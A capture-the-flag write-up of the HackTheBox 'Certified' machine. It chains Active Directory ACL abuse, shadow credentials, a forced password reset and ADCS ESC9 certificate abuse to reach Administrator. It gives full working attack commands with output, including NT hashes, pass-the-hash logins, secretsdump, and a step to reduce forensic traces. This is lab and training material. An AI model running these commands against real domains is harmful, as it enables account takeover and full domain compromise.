HackTheBox Certified
Writeup for HackTheBox Certified
Machine Synopsis
Certified
is a medium-difficulty Windows machine designed around an assumed breach scenario, where credentials for a low-privileged user are provided. To gain access to the management_svc
account, ACLs (Access Control Lists) over privileged objects are enumerated leading us to discover that judith.mader
which has the write owner
ACL over management
group, management group has GenericWrite
over the management_svc
account where we can finally authenticate to the target using WinRM
obtaining the user flag. Exploitation of the Active Directory Certificate Service (ADCS) is required to get access to the Administrator
account by abusing shadow credentials and ESC9
. (Source)
As is common in Windows pentests, you will start the Certified box with credentials for the following account: judith.mader/judith09
Key exploitation techniques:
- Active Directory ACL enumeration and abuse (
WriteOwner
,GenericWrite
) - Password reset via
net rpc
- WinRM for lateral movement
- BloodHound for Active Directory attack path mapping
- Active Directory Certificate Services (AD CS) ESC9 (NoEKU) vulnerability
- Shadow Credentials for certificate enrollment
- Certificate-based authentication for domain compromise
Enumeration
An nmap
scan identified standard Active Directory services (DNS, Kerberos, LDAP, SMB, WSMAN) and confirmed the domain certified.htb
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ nmap -p- --min-rate 10000 10.10.11.41
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49668/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49683/tcp open unknown
49716/tcp open unknown
49740/tcp open unknown
49775/tcp open unknown
❯ nmap -p 53,88,135,139,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49683,49716,49740,49775 -sC -sV 10.10.11.41
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
...
445/tcp open microsoft-ds?
...
5985/tcp open wsman
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
|_ Message signing enabled and required
The domain certified.htb
and its Domain Controller DC01.certified.htb
were added to /etc/hosts
.
1
❯ echo -e '10.10.11.41\tcertified.htb dc01.certified.htb' | sudo tee -a /etc/hosts
nxc smb
was used to enumerate domain users and confirm judith.mader
’s credentials.
1
2
3
4
5
6
❯ nxc smb certified.htb -u "judith.mader" -p "judith09" --rid-brute | grep SidTypeUser | awk '{print $6}'
CERTIFIED\Administrator
CERTIFIED\judith.mader
CERTIFIED\management_svc
CERTIFIED\ca_operator
# ... (truncated)
BloodHound data was collected using bloodhound-python
for comprehensive Active Directory analysis. Time synchronization was performed to prevent Kerberos issues.
1
2
3
❯ sudo ntpdate certified.htb # Sync time to DC
❯ /usr/bin/bloodhound-python -u judith.mader -p 'judith09' -c All -d certified.htb -ns 10.10.11.41
# Output saved to a .zip file for BloodHound GUI.
Exploitation
Analysis of the BloodHound graph revealed a critical ACL chain:
judith.mader
hadWriteOwner
permissions over theMANAGEMENT
group.- The
MANAGEMENT
group hadGenericWrite
permissions over themanagement_svc
account.
Exploiting ACLs: WriteOwner
to GenericWrite
The WriteOwner
permission on the MANAGEMENT
group allowed judith.mader
to take ownership of the group.
1
2
❯ sudo impacket-owneredit -action write -new-owner 'judith.mader' -target 'MANAGEMENT' 'certified.htb'/'judith.mader':'judith09'
[*] OwnerSid modified successfully!
As the new owner, judith.mader
could then modify the MANAGEMENT
group’s DACL to grant herself WriteMembers
permissions. This allowed her to add herself to the MANAGEMENT
group.
1
2
❯ sudo impacket-dacledit 'certified.htb'/'judith.mader':'judith09' -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB'
[*] DACL modified successfully!
Finally, judith.mader
added herself to the MANAGEMENT
group using net rpc
.
1
❯ net rpc group addmem Management 'judith.mader' -U 'certified.htb'/'judith.mader'%'judith09' -S 'DC01.certified.htb'
Now, as a member of MANAGEMENT
, judith.mader
inherited GenericWrite
permissions over the management_svc
account.
Lateral Movement: Targeted Kerberoasting & Shadow Credentials
With GenericWrite
on management_svc
, its properties could be modified. This allowed for Targeted Kerberoasting and ultimately Shadow Credentials exploitation to gain access to management_svc
.
Targeted Kerberoasting (Attempted)
The initial attempt involved targeted Kerberoasting of the management_svc
account. This aims to retrieve its service principal name (SPN) hash, which could then be cracked offline.
1
2
3
4
5
❯ python3 targetedKerberoast.py -v -d 'certified.htb' -u 'judith.mader' -p 'judith09'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (management_svc)
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$8e864632eac7f05ffebb06a69eadbf64$c4586d04fbcc532de0d7c2fe268e9b57a59506b20843d2b9647d803151efec43fa487dc93981002a4e09bf8b63fe728a77efd8622235e7d025be449a13e53905ecc23f89dd067e3f930610a1c0be4a32e8966623d12b18183900be2f69c8d3ca7d05ede0c29c1c2d28837d83c9ecead31af96426a3b064199e1f525d76282bee9f1d01b3f28472f2c283e9c4a433fe61909c0bd2449f9f349accf1663a0078ac2cbf62f9f7af1145f06b7081e7852ef615b657db5a229e3c61ace079ec4802de3913a19cb5002bad6a10c180deff5959afd2d69b9d7f09b73a764526723d2240702aa998346f1326f959802519a5171ed37cdee97e9ee2a9fcf47438545d7c7ef57e346d7c8e8256f37bbaeb69a9dd49ffa711b8254a5c1bfae0e82a1628411b48d70d5509e74043477b0d864a4af234bfb5f663a19da142e96f3a495019924665986e3b40ac012183f53e18b2475eee83b884e669fbfcb2fe36b8234997eb1abe8621b2581c8470de7eb87d02256c9bbaad51a399454722584776f61054c73ffaa855c414ec29c41491cf9f97c85719d4671d82c12bbdaaa7295dedf9d71b78a5a5403eded6091098b34b227b9c2f24cf608935740573e46add9776153f8efc3f90ea37c8a9ee386470d722e718e0e6b67766945b432f0defcd86cab4a502d9b576a773418274aa622cad8f53aedb2a4fee823d1811d8fa611f6a70d0c5a7ec88e5ac6b99dab823fec1a17ed0bd48c0099180979b48280b0a5def65da751d8a3171249e76115a082c1fefcd1d6b9327b054c4cfb00d050e745576ffa650e1ab33323102ba84da89007a38c8c63c7f55c20c8f31a879989c64bf6781d60c2ab62e71e5f1cf6db4eb18db34c820c0cad9d3fcb548f95fc8e3a7c54f52733fe56b2bed64229d05700dde34cb744e6c34857b9451503e17754011b11211c32b8fcefc738353e4dad449b264cd9950f5999da2428c8a2c10d10b99cfb3838b8e81265aafe6f10c9e01aa4c2c5d3c0e3e67631ae441bd7f297c35a3e7a71e0e80dc4e1b4d85ed6a748e865e1c20162ac66633f52be6da389787e405f587c63de5a5e8ef3bf9eb368823cda644d35f55e41b3accea4aea966ac7f1a84fc33c7e7c15f714a5ddca376374b6cad00be4d21df92289ad961ab13e0b00647302e3e959200e7b785a593dc672c85dc6d97deec843f07febdc9107d584cd020d9ef144f022bf6dec61b919439a1b33315c95ec2f2ace59b1c5d77a5b667996b88442bb8800672d9b865c910a861fb9d4cff2a78547d77d38486f79cfd47a2fa505a0b6ceb8b5b8c834bb7c9b15d9ed738a741334e3a1fc0d9c23eb7f5713a6c6a5629d69f2efc3f71a16886a50f070b14a8c40617a40456cf93662336273ff32f3ed393d09eba7b0c3facd8c22d5a5fb7a93b46e41f3943a9e07d89e3dc183efd8b93a80aa435727f51e5b0cd4993e8980f8fd54da7780cf12068e8c1188e8f9adc5ad6301e95b295499bb3f3b97e76696a358fd2b1ee45b70f215e04ecd0f3314a1e94f900b481a87c25563266a56bf0ecb21f5a31ca82e58935d62efea1c83899418c4118b5146
The retrieved Kerberos hash for management_svc
was uncrackable, leading to the pursuit of an alternative method.
Shadow Credentials for management_svc
Since judith.mader
had GenericWrite
on management_svc
, she could add Shadow Credentials to the account. This allows obtaining a Kerberos Ticket Granting Ticket (TGT) without needing the account’s password.
pywhisker
was used to add a new KeyCredential to management_svc
.
1
2
3
4
5
6
7
8
❯ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Generating KeyCredential with DeviceID: c1b10515-961c-9b19-edbc-d0a47fe38147
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: od0VPICw.pfx
[*] Must be used with password: wjw8w1wWwtNwIl1vkm3l
pywhisker
provided the path to the generated PFX file (od0VPICw.pfx
) and its password (wjw8w1wWwtNwIl1vkm3l
).
This PFX was then used with gettgtpkinit.py
to obtain a TGT for management_svc
.
1
2
3
4
❯ python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx ../pywhisker/pywhisker/od0VPICw.pfx -pfx-pass wjw8w1wWwtNwIl1vkm3l management_svc.ccache
[*] Requesting TGT
[*] AS-REP encryption key (you might need this later): d71baa57dcc77aebc4a546742fa8856cc778023a3f801411cb9e9606d5287486
[*] Saved TGT to file
The TGT was saved to management_svc.ccache
.
The management_svc
’s NT hash was then recovered using getnthash.py
with the obtained TGT and AS-REP encryption key.
1
2
3
4
5
6
❯ export KRB5CCNAME=management_svc.ccache
❯ python3 getnthash.py certified.htb/management_svc -key d71baa57dcc77aebc4a546742fa8856cc778023a3f801411cb9e9606d5287486
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
The NT hash for management_svc
(a091c1832bcdd4677c28b5a6a1295584
) was obtained.
WinRM Access to management_svc
The management_svc
NT hash was used to establish a WinRM session.
1
2
3
4
❯ evil-winrm -i certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
*Evil-WinRM* PS C:\Users\management_svc\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\management_svc\Desktop> cat user.txt
aeef49aba577440516239df6cb94392c
The user.txt
flag was retrieved.
Privilege Escalation: AD CS ESC9
With management_svc
access, another BloodHound data collection was performed to identify further escalation paths, specifically focusing on Active Directory Certificate Services (AD CS).
1
2
❯ /usr/bin/bloodhound-python -d certified.htb -c All -ns 10.10.11.41 --zip -u management_svc --hash :a091c1832bcdd4677c28b5a6a1295584 --use-ldap
# Output saved to a new .zip file.
BloodHound analysis revealed that management_svc
had GenericAll
privileges over the ca_operator
account.
We can change the password for ca_operator
.
We use
ffffffffffffffffffffffffffffffff
for LM hash because it is not known to us.
1
2
3
❯ pth-net rpc password "ca_operator" "P@ssw0rd" -U "certified.htb"/"management_svc"%"ffffffffffffffffffffffffffffffff":"a091c1832bcdd4677c28b5a6a1295584" -S "dc01.certified.htb"
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
We can test if the password change was successful.
1
2
3
❯ nxc smb certified.htb -u 'ca_operator' -p 'P@ssw0rd'
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\ca_operator:P@ssw0rd
Now that we have owned ca_operator
, we can try to find vulnerable AD CS configurations using certipy-ad
.
1
2
❯ certipy-ad find -u 'ca_operator@certified.htb' -p 'P@ssw0rd' -dc-ip 10.10.11.41 -old-bloodhound
# Output saved to a new .zip file
Drag the new Bloodhound data to the GUI and refresh the GUI to analyze the newly added AD CS data.
Unfortunately the Bloodhound version that I’m currently using can’t show what vulnerabilities we can exploit.
certipy-ad find
was used to identify vulnerable certificate templates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ certipy-ad find -u 'ca_operator@certified.htb' -p 'P@ssw0rd' -dc-ip 10.10.11.41
...
[*] Saved text output to '20250207234935_Certipy.txt'
[*] Saved JSON output to '20250207234935_Certipy.json'
❯ cat 20250207234935_Certipy.json
...
"Certificate Templates": {
"0": {
"Template Name": "CertifiedAuthentication",
"Display Name": "Certified Authentication",
# ...
"Enrollment Flag": [
"NoSecurityExtension", # Critical for ESC9
"AutoEnrollment",
"PublishToDs"
],
# ...
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"CERTIFIED.HTB\\operator ca", # 'operator ca' group can enroll
# ...
]
},
# ...
"[!] Vulnerabilities": {
"ESC9": "'CERTIFIED.HTB\\\\operator ca' can enroll and template has no security extension"
}
}
}
The CertifiedAuthentication
template was identified as vulnerable to ESC9 (NoEKU). This vulnerability exists when a template has NoSecurityExtension
enabled and an enrolling principal (like operator ca
, a group ca_operator
is likely a part of) has enrollment rights. This allows an attacker to request a certificate for any user, including high-privileged ones like Administrator
, without the certificate containing the Any Purpose
EKU.
Exploiting ESC9 with Shadow Credentials
Since management_svc
had GenericAll
over ca_operator
, Shadow Credentials were used to obtain ca_operator
’s NT hash. This facilitated the subsequent certificate request.
1
2
❯ certipy-ad shadow auto -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator
[*] NT hash for 'ca_operator': e19ccf75ee54e06b06a5907af13cef42
The NT hash for ca_operator
(e19ccf75ee54e06b06a5907af13cef42
) was retrieved.
Next, ca_operator
’s userPrincipalName
(UPN) was temporarily updated to Administrator
using management_svc
’s GenericAll
rights. This is a crucial step for ESC9, as it directs the CA to issue the certificate for the Administrator
account’s UPN.
1
2
3
❯ certipy-ad account update -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -debug
[*] Updating user 'ca_operator': userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'
A certificate was then requested for Administrator
using the ca_operator
’s hash and the vulnerable CertifiedAuthentication
template.
1
2
3
4
❯ sudo certipy-ad req -username 'ca_operator@certified.htb' -hashes 'e19ccf75ee54e06b06a5907af13cef42' -target 'DC01.certified.htb' -ca 'certified-DC01-CA' -template CertifiedAuthentication -debug
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Saved certificate and private key to 'administrator.pfx'
Immediately after requesting the certificate, ca_operator
’s UPN was reverted to its original value to minimize forensic footprint.
1
2
❯ certipy-ad account update -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn "ca_operator@certified.htb"
[*] Successfully updated 'ca_operator'
Finally, the administrator.pfx
certificate was used to authenticate and retrieve the Administrator’s NT hash.
1
2
3
4
5
❯ certipy-ad auth -pfx administrator.pfx -domain "certified.htb"
[*] Using principal: administrator@certified.htb
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
The Administrator’s NTLM hash was then used to gain a root shell via evil-winrm
.
1
2
3
4
❯ evil-winrm -i certified.htb -u administrator -H '0d5b49608bbce1751f708748f67e2d34'
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
8ce24fced08f18463c0b209e4cb56a00
The root.txt
flag was retrieved.
Alternative Post-Exploitation:
With the Administrator’s TGT (stored in
administrator.ccache
), domain secrets could be dumped usingimpacket-secretsdump
.
1 2 ❯ KRB5CCNAME=administrator.ccache impacket-secretsdump -k dc01.certified.htb # This would dump all NTLM hashes and Kerberos keys from the domain controller.
Cleanup
For proper operational security, any artifacts left on the system or modifications made to Active Directory should be reverted.
- Restore
MANAGEMENT
group’s original owner and DACL. - Remove
judith.mader
from theMANAGEMENT
group. - Delete
od0VPICw.pfx
,management_svc.ccache
,administrator.pfx
,administrator.ccache
, and any BloodHound zip files. - Remove any Shadow Credentials added to
ca_operator
.
1
2
# Example: Remove Shadow Credential (if not automatically removed by certipy)
# certipy-ad shadow auto -username "management_svc@certified.htb" -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator --action "remove"